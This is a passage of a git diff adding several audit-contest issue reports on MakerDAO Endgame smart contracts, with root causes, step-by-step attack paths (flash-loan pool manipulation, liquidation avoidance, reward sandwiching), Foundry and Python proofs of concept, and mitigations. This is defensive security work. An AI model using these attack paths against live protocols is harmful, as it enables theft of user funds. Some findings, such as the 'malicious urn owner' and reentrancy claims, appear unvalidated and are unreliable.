+- Available DAI flash loan amount: `10 billion` + +### Root Cause + +Lack of Uniswap v2 pool manipulation check before burning shares during migration: +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/univ2-pool-migrator/deploy/UniV2PoolMigratorInit.sol#L58-L59 + +Assets amount being sent to user are rounded down during calculations in Uniswap v2 `burn`: +https://github.com/Uniswap/v2-core/blob/ee547b17853e71ed4e0101ccfd52e70d5acded58/contracts/UniswapV2Pair.sol#L144-L145 + +This allows to manipulate the pool to a state where the rounding error becomes significant. + +### Internal pre-conditions + +1. Uniswap v2 DAI/MKR pool assets amounts multiplied are `k <= 1e32`. Since both DAI and MKR are in WAD, this means pause proxy's pool amounts have to be very small (1 DAI / 0.0001 MKR or 1M DAI / 1e-10 MKR if MKR price rises significantly). While extremely unlikely, this might still be possible if MKR price rises significantly and most pool liquidity is withdrawn before migration. +2. Available DAI flash loan amount: `500 million - 10 billion` +3. Attacker sandwiches pool migrator spell + +### External pre-conditions + +None + +### Attack Path + +1. Migrator spell is available to be executed permissionlessly by anyone +2. Attacker does in 1 transaction: +2.1. Take DAI flash loan +2.2. Manipulate Uniswap v2 DAI/MKR pool by swapping DAI to MKR to bring total MKR pool amount to 2 - 20000 +2.3. Deposit large amount of DAI + MKR into the pool (up to current pool amount, but can be less for smaller impact) +2.4. Allow the migrator spell to execute, burning pause proxy shares while losing 1 MKR due to rounding error +2.5. Swap back DAI/MKR pool and burn liquidity +2.6. Swap NST/NGT pool to bring it to about current price + +In the end the new pool will have 0.5%-29% less funds than before the migration, most of which is attacker's profit (and a small amount goes back into the DAI/MKR pool) + +For more exact math see the PoC section. + +### Impact + +Attacker steals 0.5%-29% from the pool being migrated by the `UniV2PoolMigratorInit`. + +### Mitigation + +Consider doing a sanity check on pool reserve amounts - require them to be above 1e6 to prevent the attack. \ No newline at end of file diff --git a/071.md b/071.md new file mode 100644 index 0000000..8094594 --- /dev/null +++ b/071.md @@ -0,0 +1,61 @@ +Clever Burgundy Iguana + +Medium + +# `LockstakeEngine.selectVoteDelegate` uses stored borrow rate for health calculation, making it possible to avoid liquidation by switching voteDelegate if nobody calls `jug.drip`. + +### Summary + +`LockstakeEngine.selectVoteDelegate` function requires the vault to be healthy if the new `VoteDelegate` is set. This is protection against abusing the `Chief`'s flashloan protection and `VoteDelegate`'s `reserveHatch` functionality: if user's vault is unhealthy, but user intentionally calls `VoteDelegate.lock`, liquidator can't liquidate the vault as liquidation will revert when trying to `free` in the same block (`Chief` flashloan protection). Liquidator can then call `VoteDelegate.reserveHatch`, which will disable `VoteDelegate.lock` function for 5 blocks, allowing liquidator to liquidate the vault. However, if the user is allowed to set a new `VoteDelegate` for unhealthy vault, then user can simply switch to a different `VoteDelegate` and `lock` there to prevent liquidations all the time. To protect against such behaviour, user's `Lockstake` vault is required to be healthy to select a new `VoteDelegate`. + +The issue is that `selectVoteDelegate` uses stored debt rate, which can be outdated: +```solidity + if (art > 0 && voteDelegate != address(0)) { + (, uint256 rate, uint256 spot,,) = vat.ilks(ilk); // @audit << rate here is stored, new rate should be set by calling jug.drip + require(ink * spot >= art * rate, "LockstakeEngine/urn-unsafe"); + } +``` + +The `vat` core module calculates user's debt as debt units (art) * borrow rate (rate). The rate increases every second by a set amount, however the rate increase is manual and user can call `jug.drip` to update the rate, however it is not required to do so anywhere in the core code. Thus the user's vault can be unhealthy (with current rate), however it's still healthy using the outdated rate from the last `jug.drip` call. Examining even the largest live `vat` collaterals reveals that `jug.drip` is called rather infrequently - a few times per hour or even per day. + +This makes it possible for the user to abuse the `VoteDelegate.lock` and `selectVoteDelegate` if liquidator tries to call `reserveHatch`, preventing liquidation of unhealthy vault for up to several hours or even days, until `jug.drip` is called. + +### Root Cause + +`LockstakeEngine.selectVoteDelegate` uses stored (outdated) borrow rate: +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeEngine.sol#L267 + +This allows to bypass the vault health check when changing `VoteDelegate` to prevent unhealthy vault liquidation. + +### Internal pre-conditions + +1. `jug.drip` called infrequently (not called for several hours or days) +2. User is healthy if calculated using stored borrow rate, but unhealthy if calculated with actual current borrow rate. + +### External pre-conditions + +None + +### Attack Path + +1. Attacker's vault has some `VoteDelegate` selected +2. Attacker's vault is healthy at the last stored borrow rate, but becomes unhealthy at the current rate +3. Attacker calls `VoteDelegate.lock` every block to prevent liquidation in the same block +4. Liquidator, being unable to liquidate user's vault (due to revert when trying to `VoteDelegate.free` in the liquidation), calls `VoteDelegate.reserveHatch` +5. Attacker calls `LockstakeEngine.selectVoteDelegate` with a different `VoteDelegate` and calls `VoteDelegate.lock` on this new delegate. +6. Repeat 3. + +This can continue for a long time until `jug.drip` is called by someone. Since this is not required, this can continue for a long time (a few hours or days) until attacker's vault is in a bad debt, causing protocol losses. + +### Impact + +1. If the attacker's vault is large enough, attacker can DOS liquidators for a long time until the vault is in a bad debt, the losses can easily be up to 1%-10% of protocol funds. +2. Even if `jug.drip` is called more frequently, or no bad debt happens, liquidators are forced to call `VoteDelegate.reserveHatch` many times without actual liquidation happening, thus wasting gas fees. When done frequently, liquidators might be disincentivized from calling `reserveHatch` and liquidating such user, further exposing the protocol to uncontained losses from such attacker. + +### PoC + +Not needed + +### Mitigation + +Call `jug.drip` to get the borrow rate instead of getting it from the `vat`. \ No newline at end of file diff --git a/073.md b/073.md new file mode 100644 index 0000000..5279626 --- /dev/null +++ b/073.md @@ -0,0 +1,91 @@ +Deep Oily Leopard + +Medium + +# User would lose funds when rate is zero + +### Summary + +The missing zero value check in the constructor of MkrNgt contract can lead to a situation where rate state variable is set to zero during deployment. This can then lead to users losing their mkr funds when calling `MkrNgt.mkrToNgt()` where the mkr token is burned but the user does get any ngt minted to their account. + + +### Root Cause + +In [MkrNgt.sol:38](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/ngt/src/MkrNgt.sol#L38) there is a missing zero value check in the constructor to ensure that `rate_` parameter is not zero. + +When `rate_` is zero, any user with mkr token calling the ``MkrNgt.mkrToNgt()` will be minted zero ngt tokens while getting their mkr burned since `uint256 ngtAmt == 0` (`MkrNgt.sol:43`) - https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/ngt/src/MkrNgt.sol#L42-L44 + +### Internal pre-conditions + +`rate_` parameter is zero during deployment of MkrNgt contract. + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +1. Loss of User funds +2. Contract redeployment + +### PoC + +```solidity + +// SPDX-License-Identifier: AGPL-3.0-or-later + +pragma solidity ^0.8.21; + +import "dss-test/DssTest.sol"; + +import { Ngt } from "src/Ngt.sol"; +import { MkrNgt } from "src/MkrNgt.sol"; + +contract Mkr is Ngt {} + +contract MkrNgtLossTest is DssTest { + Mkr mkr; + Ngt ngt; + MkrNgt mkrNgt; + + event MkrToNgt(address indexed caller, address indexed usr, uint256 mkrAmt, uint256 ngtAmt); + event NgtToMkr(address indexed caller, address indexed usr, uint256 ngtAmt, uint256 mkrAmt); + + function setUp() public { + mkr = new Mkr(); + ngt = new Ngt(); + mkrNgt = new MkrNgt(address(mkr), address(ngt), 0); + mkr.mint(address(this), 1_000_000 * WAD); + mkr.rely(address(mkrNgt)); + mkr.deny(address(this)); + ngt.rely(address(mkrNgt)); + ngt.deny(address(this)); + } + + function testUserMkrLoss() public { + assertEq(mkr.balanceOf(address(this)), 1_000_000 * WAD); + assertEq(mkr.totalSupply(), 1_000_000 * WAD); + assertEq(ngt.balanceOf(address(this)), 0); + assertEq(ngt.totalSupply(), 0); + + mkr.approve(address(mkrNgt), 400_000 * WAD); + vm.expectEmit(true, true, true, true); + emit MkrToNgt(address(this), address(this), 400_000 * WAD, 400_000 * WAD * 0); + mkrNgt.mkrToNgt(address(this), 400_000 * WAD); + assertEq(mkr.balanceOf(address(this)), 600_000 * WAD); + assertEq(mkr.totalSupply(), 600_000 * WAD); + assertEq(ngt.balanceOf(address(this)), 0); + assertEq(ngt.totalSupply(), 0); + } + +} + +``` + +### Mitigation + +Add a require check to ensure that `rate_` parameter is non-zero value. \ No newline at end of file diff --git a/074.md b/074.md new file mode 100644 index 0000000..441351f --- /dev/null +++ b/074.md @@ -0,0 +1,80 @@ +Raspy Daffodil Wasp + +Medium + +# The StakingRewards will be sandwich attacked + +### Summary + +When `rewardRate` or `rewardPerToken` is increased, the attacker runs the `stake token` forward, The attacker gains a reward after the `rewardPerToken` is increased, and finally stakes the token, the attacker loses nothing and contributes nothing to the protocol, but gains a reward. + +### Root Cause +1. An attacker can immediately unstake(withdraw) after a stake token: + +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/endgame-toolkit/src/synthetix/StakingRewards.sol#L102-L121 + +```solidity + function stake(uint256 amount) public nonReentrant notPaused updateReward(msg.sender) { + require(amount > 0, "Cannot stake 0"); + _totalSupply = _totalSupply + amount; + _balances[msg.sender] = _balances[msg.sender] + amount; + stakingToken.safeTransferFrom(msg.sender, address(this), amount); + emit Staked(msg.sender, amount); + } + function withdraw(uint256 amount) public nonReentrant updateReward(msg.sender) { + require(amount > 0, "Cannot withdraw 0"); + _totalSupply = _totalSupply - amount; + _balances[msg.sender] = _balances[msg.sender] - amount; + stakingToken.safeTransfer(msg.sender, amount); + emit Withdrawn(msg.sender, amount); + } +``` + +2. The reward is calculated as follows: + +```solidity + function earned(address account) public view returns (uint256) { + return (_balances[account] * (rewardPerToken() - userRewardPerTokenPaid[account])) / 1e18 + rewards[account]; + } +``` +The attacker has a stake before the `rewardPerToken` is increased, and `userRewardPerTokenPaid` is the old value, so the user can get the reward after the increase. + +3. `notifyRewardAmount` assigns rewards based on time, but this does not prevent sandwich attack: +If `periodFinish` is updated with a long interval, the increment of `rewardPerToken` after `rewardRate` is added is: + deltaRewardRate = rewardRate * UpdateTimeInterval + +After rewardRate is updated, but the interval is shorter, the value of 'rewardPerToken' is increased less, and the attacker can get less reward at this time, + +But attackers can wait for the right moment to strike, If `lastUpdateTime` is not updated after a long time, the attacker finds that another user calls `lastUpdateTime`(or triggers itself), and the time difference is large and the increment of `rewardPerToken` is large, the attacker can implement the sandwich attack again. + +```solidity + // rewardPerToken += ((lastTimeRewardApplicable() - lastUpdateTime) * rewardRate * 1e18) / _totalSupply + function rewardPerToken() public view returns (uint256) { + if (_totalSupply == 0) { + return rewardPerTokenStored; + } + return + rewardPerTokenStored + (((lastTimeRewardApplicable() - lastUpdateTime) * rewardRate * 1e18) / _totalSupply); + } +``` +### Internal pre-conditions +The protocol calculates the reward based on the user's _balances. + +### External pre-conditions +The share of rewards allocated to users increases. + +### Attack Path +1. The attacker found that the share of rewards increased. +2. Attackers use `front-running` to stake tokens and increase their balances before the share increases. +3. The share of rewards increases and the attacker gets a reward. +4. The attacker withdrew tokens. +5. An attacker can use flash-loans to attack. + +### Impact + +The attacker loses nothing and contributes nothing to the protocol, but gains a reward. + +### PoC + +### Mitigation +Add time lock when extracting revenue. \ No newline at end of file diff --git a/076.md b/076.md new file mode 100644 index 0000000..91b1668 --- /dev/null +++ b/076.md @@ -0,0 +1,42 @@ +Generous Orange Raccoon + +Medium + +# The function `take` will cause the user to buy collateral exceeding the `max` price. + +### Summary + +The variable `slice` recalculation in the take function will cause the price of the collateral to increase, which may exceed the `max` price and cause losses to users. + +> + +### Root Cause + +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeClipper.sol#L332-L373 +In LockstakeClipper.sol:373, the variable `slice` is recalculated and will be smaller than before, therefore, prices will rise accordingly which may exceed the `max` price. However, there is no check, which causes losses to users. + +### Internal pre-conditions + +1. auth user calls function `kick` function to start a auction + + +### External pre-conditions + +_No response_ + +### Attack Path + +1. victim calls the function `take`. + +### Impact + +Users will be affected by fund losses, and their losses may exceed 1%. +For exampe, when the tab = 1000, price = 11, lot = 100, and user call the function `take` will amt = 100 and max =11 (which means he/she want to buy all the collateral ). Then, the owe = 1100, which exceeds the tab. Next, the slice will be recalculated to be 90(1000/11). However, the real price will become 11.11 (1000/90) at the same time, which exceeds the `max` price and the lose is 1%(0.11/11). + +### PoC + +_No response_ + +### Mitigation + +Add a price check after the slice recalculation. \ No newline at end of file diff --git a/078.md b/078.md new file mode 100644 index 0000000..14d2a68 --- /dev/null +++ b/078.md @@ -0,0 +1,78 @@ +Raspy Daffodil Wasp + +Medium + +# Some erc20 token transfer functions do not return a value + +### Summary + +The `VestedRewardsDistribution.distribute` function needs to determine the return value of the gem.transfer function. +However, the transfer function of some erc20 tokens (such as usdt) has no return value, resulting in a revert call to the distribute function. + +### Root Cause + +VestedRewardsDistribution.distribute: +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/endgame-toolkit/src/VestedRewardsDistribution.sol#L161 + +```solidity + function distribute() external returns (uint256 amount) { + require(vestId != INVALID_VEST_ID, "VestedRewardsDistribution/invalid-vest-id"); + + amount = dssVest.unpaid(vestId); + require(amount > 0, "VestedRewardsDistribution/no-pending-amount"); + + lastDistributedAt = block.timestamp; + dssVest.vest(vestId, amount); + +@> require(gem.transfer(address(stakingRewards), amount), "VestedRewardsDistribution/transfer-failed"); + stakingRewards.notifyRewardAmount(amount); + + emit Distribute(amount); + } +``` + +If gem is usdt, usdt.transfer does not return a value: + +https://etherscan.io/address/0xdac17f958d2ee523a2206206994597c13d831ec7#code + +```solidity + function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) { + uint fee = (_value.mul(basisPointsRate)).div(10000); + if (fee > maximumFee) { + fee = maximumFee; + } + uint sendAmount = _value.sub(fee); + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(sendAmount); + if (fee > 0) { + balances[owner] = balances[owner].add(fee); + Transfer(msg.sender, owner, fee); + } + Transfer(msg.sender, _to, sendAmount); + } +``` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. The `gem` `VestedRewardsDistribution` token is set non-standard erc20 token, such as usdt. +2. The `distribute` function is called, but the `transfer` function has no return value, resulting in a revert, and the `distribute` call fails. + +### Impact + +The `distribute` function failed to be called, and reward could not be distributed. + +### PoC + +_No response_ + +### Mitigation + +Use `safeTransfer` instead of `transfer` \ No newline at end of file diff --git a/079.md b/079.md new file mode 100644 index 0000000..1bd2606 --- /dev/null +++ b/079.md @@ -0,0 +1,41 @@ +Generous Orange Raccoon + +Medium + +# Function `deposit` and `mint` have no slippage protection. + +### Summary + +The missing slippage protection for `deposit` and `mint` in `SNst.sol` will cause user unexpected deposit and mint. + +### Root Cause + +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/sdai/src/SNst.sol#L357-L360 +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/sdai/src/SNst.sol#L371-L374 +No slippage protection for function `deposit` and `mint`. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +When depositing, users are unable to obtain the expected share. +When minting, users pay more assets than expected. +Due to the lack of slippage protection, this could cause users to lose more than 1% of their assets. + +### PoC + +_No response_ + +### Mitigation + +Add the slippage protection. \ No newline at end of file diff --git a/080.md b/080.md new file mode 100644 index 0000000..938b5a5 --- /dev/null +++ b/080.md @@ -0,0 +1,148 @@ +Overt Garnet Dog + +Medium + +# Incorrect parameter filled in, causes ``LockstakeMkr`` to not minted + +### Summary + +``LockstakeMkr#mint`` is triggered from ``LockstakeEngine`` while those contracts only have the same wards. +Thus, when ``LockstakeEngine`` calls ``LockstakeMkr#mint`` it will fail. + +### Root Cause + +```solidity + ScriptTools.switchOwner(lockstakeInstance.lsmkr, deployer, owner); + ScriptTools.switchOwner(lockstakeInstance.engine, deployer, owner); + ``` +Look at that code, the ``LockstakeMkr`` and ``LockstakeEngine`` when deployed they will have same wards. +[LockstakeMkr#mint](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/lockstake/src/LockstakeMkr.sol#L114) using auth modifier: +```solidity + function mint(address to, uint256 value) external auth { +``` + +Meanwhile this function is triggred from ``LockstakeEngine``. + +As a result, when ``LockstakeEngine`` triggers ``LockstakeMkr#mint``, it will fail. + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +## LockstakeMkr cannot be minted. + +### PoC + +#### Paste this poc code into the test directory +#### run with ``forge test --match-test test_cant_minted_from_Engine`` + +```solidity +pragma solidity ^0.8.21; + +import "dss-test/DssTest.sol"; +import { LockstakeMkr } from "src/LockstakeMkr.sol"; + +contract Test_cant_minting is Test { + LockstakeEngineMockForAuth lockstakeEngineMock; + LockstakeMkr lsmkr; + address owner; + + function setUp() public { + owner = makeAddr("owner"); + lsmkr = new LockstakeMkr(); + lockstakeEngineMock = new LockstakeEngineMockForAuth(address(lsmkr)); + switchOwner(address(lockstakeEngineMock), address(this), owner); + switchOwner(address(lsmkr), address(this), owner); + } + + function test_cant_minted_from_Engine() public { + vm.startPrank(owner); + assertEq(lockstakeEngineMock.wards(owner), 1); + assertEq(lsmkr.wards(owner), 1); + + vm.expectRevert("LockstakeMkr/not-authorized"); + lockstakeEngineMock.lock(); + + vm.expectRevert("LockstakeMkr/not-authorized"); + lockstakeEngineMock.onRemove(); + + } + + function switchOwner( + address base, + address deployer, + address newOwner + ) internal { + if (deployer == newOwner) return; + require( + WardsAbstract(base).wards(deployer) == 1, + "deployer-not-authed" + ); + WardsAbstract(base).rely(newOwner); + WardsAbstract(base).deny(deployer); + } +} + +interface WardsAbstract { + function wards(address) external view returns (uint256); + + function rely(address) external; + + function deny(address) external; +} + +contract LockstakeEngineMockForAuth { + event Rely(address indexed usr); + event Deny(address indexed usr); + + mapping(address usr => uint256 allowed) public wards; + LockstakeMkr public lockstakeMkr; + + modifier auth() { + require(wards[msg.sender] == 1, "LockstakeEngine/not-authorized"); + _; + } + + constructor(address _lsmkr) { + lockstakeMkr = LockstakeMkr(_lsmkr); + wards[msg.sender] = 1; + } + + function rely(address usr) external auth { + wards[usr] = 1; + emit Rely(usr); + } + + function deny(address usr) external auth { + wards[usr] = 0; + emit Deny(usr); + } + + function lock() external auth { + lockstakeMkr.mint(msg.sender, 10e18); + } + + function onRemove() external auth { + lockstakeMkr.mint(msg.sender, 10e18); + } +} +``` + +### Mitigation + +### Fix like this: +```solidity + ScriptTools.switchOwner(lockstakeInstance.lsmkr, deployer, lockstakeInstance.engine); + ScriptTools.switchOwner(lockstakeInstance.engine, deployer, owner); +``` \ No newline at end of file diff --git a/081.md b/081.md new file mode 100644 index 0000000..fe62a91 --- /dev/null +++ b/081.md @@ -0,0 +1,41 @@ +Generous Orange Raccoon + +High + +# A malicious urn owner can steal all funds. + +### Summary + +A malicious urn owner can steal all funds by calling function `free`. + +### Root Cause + +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeEngine.sol#L238-L246 +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeEngine.sol#L340-L344 +In `LockstakeEngine.sol`, anyone can open a urn contract. Users may stake into this contract due to a seemingly profit. However, a malicious urn owner may steal all users' funds at any time through the function `free`. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. The attacker open a urn contract, and set a good benfit to attract users to stake ( by function `lock`). +2. Users stake into this contract. +3. The attacker calls function `free` to steal all funds. + +### Impact + +Users' funds will be stolen. + +### PoC + +_No response_ + +### Mitigation + +Need to ensure that the urn owner is trustworthy. \ No newline at end of file diff --git a/085.md b/085.md new file mode 100644 index 0000000..00e6915 --- /dev/null +++ b/085.md @@ -0,0 +1,188 @@ +Refined Scarlet Seagull + +Medium + +# `SNst.drip()`'s incremental NST minting causes compounding asset shortfall and withdrawer losses + +### Summary + +Precision loss in the SNst contract's drip mechanism during NST minting causes a cumulative asset shortfall for SNst holders. This results in the last withdrawer receiving fewer assets than expected and being unable to redeem all their shares. The amount is calculated in a PoC to be significant for users (above 0.5% for final value of 10K). Additionally, key ERC-4626 methods will revert, and view functions return incorrect values. + +### Root Cause + +Using calculated `chi` as ratio of assets / shares (as was done in `pot` and `sDai`) requires RAD (1e45) credit tracking precision. However, available assets for withdrawals are the actual ERC-20 balances of minted NST, tracked in WAD precision (1e18). This causes the ratio of available assets to shares to be significantly different from the needed assets due to accumulated compounding precision losses. + +First, it's useful to mention the precise method used in the current `sDai`, which uses the [Pot contract's drip](https://github.com/makerdao/dss/blob/master/src/pot.sol#L144-L151). In it, WAD ERC-20 assets are minted ONLY when they are [exited during withdrawal (burn)](https://github.com/makerdao/sdai/blob/master/src/SavingsDai.sol#L262) - when they cease to grow with `chi`. This ensures exact correspondence between `chi * shares` (RAD precision) and `vat.dai` internal credit's, and the eventually minted assets. This allows the usage of chi through the contract as a share price. + +However, `SNst.sol:drip()`: +1. [Calculates a difference between two rounded down divisions, which rounds down differently depending on the values of `totalSupply` , `chi_` and `nChi`](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/sdai/src/SNst.sol#L220). The two results round down differently when divided by RAY, resulting in two intermediate WAD values. When time differences cause a small difference in chi, the difference in rounding are more significant. +2. The resulting quantity (`diff`) is in WAD precision, and is then immediately [used to mint the assets (NST) that remain in the contract](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/sdai/src/SNst.sol#L222) by exiting the new debt (in RAD precision) from `nstJoin` (into ERC-20, WAD precision). +3. Over time, the differences accumulate and compound exponentially with chi, because the now static NST amount is not adjusted with changing `chi` directly (with RAD precision that `chi * shares` requires). Instead it is adjusted indirectly, via the steps 1 and 2, ignoring any accumulated discrepancy. +4. Eventually, the previously **incrementally** minted assets are [transferred to withdrawers during `_burn`](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/sdai/src/SNst.sol#L318). + +```solidity +uint256 diff = totalSupply_ * nChi / RAY - totalSupply_ * chi_ / RAY; +.. +nstJoin.exit(address(this), diff); +``` + + +### Internal pre-conditions + +- nsr value affects impact size + +### External pre-conditions + +- Deposited NST into contracts, its amount and fluctuations affects impact size +- Frequent contract usage affects impact size + +### Attack Path + + +Scenario 1 (calculated in PoCs) - Last withdrawer loss: +1. User deposits an amount of NST into the SNst contract along with other users. +2. Time passes, during which drip() calls occur, minting assets incrementally, accumulating compounding precision errors. +3. User A, now one of the last remaining users, attempts to withdraw all their funds. +4. User A receives fewer assets than owed due to the accumulated shortfall, potentially losing a significant portion of their value. + +Scenario 2 - Next depositor loss: +1. After losses accumulate as in scenario 1. +2. The last user to withdraw leaves the contract with 0 actual assets, but non-zero shares. +3. After a while, user B deposits into the contract. +4. User A now can redeem their remaining shares (which were not possible to redeem previously). +5. User B incurs the loss, since is now not able to withdraw their deposit. + +Scenario 3 - ERC-4626 broken methods and views: +- Because of the mismatch between present pre-minted NST and value reported by `convertToAssets` and estimated by `convertToShares`: + - `totalAssets()` is always incorrect + - `maxRedeem()` / `maxWithdraw()` / `previewRedeem()` / `previewWithdraw()` will be incorrect for last withdrawer + - `redeem` / `withdraw` of full balance of the values reported by the views will revert for the last withdrawer. + +Scenario 4 - overminting and debt inflation: +1. An attacker can manipulate the calculation of `diff` and their control of `totalSupply` such that in `diff = A - B` , B is rounded down, but A is not. +2. In this situation, an attacker can overmint NST and inflate the `vow`s debt (and possibly cause `flop` MKR auctions in excesss of actual need). + +### Impact + + +The last withdrawer (User A in the scenario) suffers a loss of their expected assets, which could be a substantial amount. The PoC shows values within the expected range ([`nsr` values up to 20%](https://jetstreamgg.notion.site/sNST-Savings-NST-NST-Savings-Rate-04093d098786470b8ffb943b2e3d045b)) that result in shortfall of above[ 0.5% for final user value of 10K](https://github.com/makerdao/sherlock-contest/blob/master/README.md#severity-definitions). Specifically, of around $80 in the sample values in the PoC. + +Because the PoC are simplistic, it's possible that in a different combination of input values and dynamics, larger losses are possible as well. + +Additionally, this issue compromises the contract's compliance with the ERC4626 standard, as functions like totalAssets(), maxRedeem(), and maxWithdraw() may return inaccurate values. This could lead to integration issues with other protocols expecting to use this values for withdrawals. + +The problem is further exacerbated by: + +1. Variable total supply, which can amplify shortfalls during low-supply periods. +2. Changing nsr values, which can compound the issue if increased during low-supply periods. +3. Potential future decreases in block times, which would increase the frequency of rounding errors. +4. Higher `nsr` values and longer timeframes create much larger discrepancies due to the exponential growth of `chi`. + +This issue not only causes direct financial loss but also undermines the reliability and predictability of the SNst contract, potentially damaging user trust and protocol reputation. + + +### PoC + +Python was used for the PoC due to the need to simulate the maximum amount of drip iterations over a long period of time (this change being termed "endgame"). + +PoC run results: + +```bash +>>> python3 src/drip_poc.py + +1B sNST, 18.8% nsr +TS: $1000000000.0, dsr 1000000005481367156253786112, duration 20 years) +should be 3.0728263709631796e+28 +actual 3.07282636326454e+28 +shortfall wei 7.698639680199197e+19 +shortfall $ 76.0 +----- +1B sNST, 19% nsr +TS: $1000000000.0, dsr 1000000005668583612455321600, duration 20 years) +should be 3.470493969121155e+28 +actual 3.4704939606402035e+28 +shortfall wei 8.480951439259494e+19 +shortfall $ 84.0 +----- +1B sNST, 15% nsr +TS: $1000000000.0, dsr 1000000004659906625979547648, duration 20 years) +should be 1.78987597891315e+28 +actual 1.7898759736238643e+28 +shortfall wei 5.289285787616438e+19 +shortfall $ 52.0 +----- +``` +```python +# this is dss/src/drip_poc.py + +RAY = 10**27 +HALF_RAY = RAY // 2 + +def _rpow(x, n): + if x == 0: + return RAY if n == 0 else 0 + z = RAY if n % 2 == 0 else x + n = n // 2 + while n > 0: + x = (x * x + HALF_RAY) // RAY + if n % 2 == 1: + z = (z * x + HALF_RAY) // RAY + n = n // 2 + return z + +year = 365 * 86400 +block_dur = 12 + +def calc_shortfall(totalSupply, dsr, duration): + chi = RAY + mint = 0 + # cache the per block chi multiplier + block_mul = _rpow(dsr, block_dur) + for i in range(0, duration // block_dur): + # calculate `diff` wad as in drip(), `block_mul * chi // RAY` is nChi + mint += (totalSupply * block_mul * chi // RAY // RAY) - (totalSupply * chi // RAY) + # update chi + chi = block_mul * chi // RAY + # convertToAssets() + expected_mint = totalSupply * (chi - RAY) // RAY; + + print(f'TS: ${totalSupply // 1e18}, dsr {dsr}, duration {duration // year} years)') + print('should be ', expected_mint) + print('actual ', mint) + print('shortfall wei ', expected_mint - mint) + print('shortfall $ ', (expected_mint - mint) // 1e18) + print('-----') + +if __name__ == "__main__": + print('1B sNST, 18.8% nsr') + calc_shortfall(1e27, 1000000005481367156253786112, 20 * year) + + print('1B sNST, 19% nsr') + calc_shortfall(1e27, 1000000005668583612455321600, 20 * year) + + print('1B sNST, 15% nsr') + calc_shortfall(1e27, 1000000004659906625979547648, 20 * year) +``` + +### Mitigation + +1. To mimic the currently used sDai, ensure accounting is done via internal credit (`vat.dai`) that allows exact correspondence to `shares * chi` (in RAD) without division before multiplication. Only use WAD when exiting into the ERC-20 during withdrawal (in `_burn`) which stop accumulating the `nsr` for that NST. + +```diff +// in drip() +nChi = _rpow(nsr, block.timestamp - rho_) * chi_ / RAY; +- diff = totalSupply_ * nChi / RAY - totalSupply_ * chi_ / RAY; +- vat.suck(address(vow), address(this), diff * RAY); +- nstJoin.exit(address(this), diff); ++ vat.suck(address(vow), address(this), totalSupply_ * (nChi - chi)); + +// in _burn() +- nst.transfer(receiver, assets); ++ nstJoin.exit(receiver, assets); + +// in _mint() +nst.transferFrom(msg.sender, address(this), assets); ++ nstJoin.join(address(this), assets); +``` + +2. Alternatively, if ERC-20 balances held in the contract are desirable, the share price should be calculated from the ERC-20 balance, and `chi` should not be tracked. In such an implementation, drip should calculate the mint amount from the available ERC-20 assets using the `nsr`. This approach can use existing ERC-4626 libraries. \ No newline at end of file diff --git a/086.md b/086.md new file mode 100644 index 0000000..dfd384d --- /dev/null +++ b/086.md @@ -0,0 +1,82 @@ +Curved Cinnamon Tuna + +High + +# Reentrancy Exploit in Yield Accumulation Mechanism of SNst Contract + +## Summary +The `drip` function in the `SNst` is vulnerable to reentrancy attacks due to external calls to `vat.suck` and `nstJoin.exit` before updating critical state variables. This could allow an attacker to manipulate the state and drain funds. + +## Vulnerability Detail +1. Initial Call: +- `drip` is called. +- Calculates `nChi` and `diff`. +- Calls `vat.suck`. +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/sdai/src/SNst.sol#L221 +2. Reentrant Call: +- If `vat.suck` or `nstJoin.exit` triggers a callback to `drip`, the function could be reentered before the state variables `chi` and `rho` are updated. +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/sdai/src/SNst.sol#L221-L222 +- This reentrant call would use the old values of `chi` and `rho`, leading to incorrect calculations and potential double spending of `diff`. + +## Impact +- Financial Loss +- State Manipulation + +## Code Snippet +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/sdai/src/SNst.sol#L214-L229 + +## Tool used + +Manual Review + +## Recommendation +- Use OpenZeppelin's `ReentrancyGuard` to prevent reentrancy attacks. +```diff ++ import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; + +- contract SNst is UUPSUpgradeable { ++ contract SNst is UUPSUpgradeable, ReentrancyGuard { + +- function drip() public returns (uint256 nChi) { ++ function drip() public nonReentrant returns (uint256 nChi) { + (uint256 chi_, uint256 rho_) = (chi, rho); + uint256 diff; + if (block.timestamp > rho_) { + nChi = _rpow(nsr, block.timestamp - rho_) * chi_ / RAY; + uint256 totalSupply_ = totalSupply; + diff = totalSupply_ * nChi / RAY - totalSupply_ * chi_ / RAY; + vat.suck(address(vow), address(this), diff * RAY); + nstJoin.exit(address(this), diff); + chi = uint192(nChi); // safe as nChi is limited to maxUint256/RAY (which is < maxUint192) + rho = uint64(block.timestamp); + } else { + 